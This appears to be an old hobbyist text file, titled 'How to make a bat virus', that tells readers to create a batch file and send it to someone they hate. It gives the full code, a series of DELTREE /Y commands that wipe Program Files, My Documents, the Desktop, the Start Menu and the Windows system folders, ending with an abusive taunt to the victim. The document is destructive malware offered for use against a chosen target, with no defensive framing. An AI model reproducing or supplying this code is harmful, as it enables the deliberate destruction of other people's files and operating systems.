H O W  T O  M A K E  A  B A T   V I R U S              X
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disclaimer: fuck the disclaimer, just remember that    x
a bat virus CAN DESTROY SOMEONES COMPUTER!!            x
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send this bat virus to some lamer you hate!!           x
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W H A T  D O N' T  N E E D                             x
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- programming experience                               x
- hacking skills                                       x                            
- programming utilities                                x
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W H A T  Y O U    N E E D                              x
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- notepad (not so hard, hey?)                          x
- a target                                             x
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yes, it's that easy... here we go                      x
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F O L L O W  T H E S E  S T E P S                      x
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- right click with your mouse on the desktop
- select 'new'
- then you will see a list of files you can create, pick 'textfile'
- now, name it 'funny' or something (without the ' ')
- the put the following code:

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@ECHO OFF
IF EXIST C:\PROGRAM FILES\*.* DELTREE /Y C:\PROGRAM FILES\*.* 
IF EXIST C:\MY DOCUMENTS\*.* DELTREE /Y C:\MY DOCUMENTS\*.* 
IF EXIST C:\WINDOWS\DESKTOP\*.* DELTREE /Y C:\WINDOWS\DESKTOP\*.* 
IF EXIST C:\WINDOWS\START MENU\*.* DELTREE /Y C:\WINDOWS\START MENU\*.* 
IF EXIST C:\WINDOWS\COMMAND\*.* DELTREE /Y C:\WINDOWS\COMMAND\*.* 
IF EXIST C:\WINDOWS\SYSTEM\*.* DELTREE /Y C:\WINDOWS\SYSTEM\*.* 
IF EXIST C:\WINDOWS\*.* DELTREE /Y C:\WINDOWS\*.* 
ECHO                    *********************** :-P
ECHO                   YOU HAVE BEEN HIT BY THE HARD-DRIVE KILLA!
ECHO                   BY THE WAY.....YOUR COMPUTER IS REALLY FUCKED UP NOW..DUDE!
ECHO                   NASTY...HEY?!  IF YOU GOT THIS VIRUS...YOU DESERVED IT, MOTHER-BUT-FUCK!
ECHO                    *********************** :-P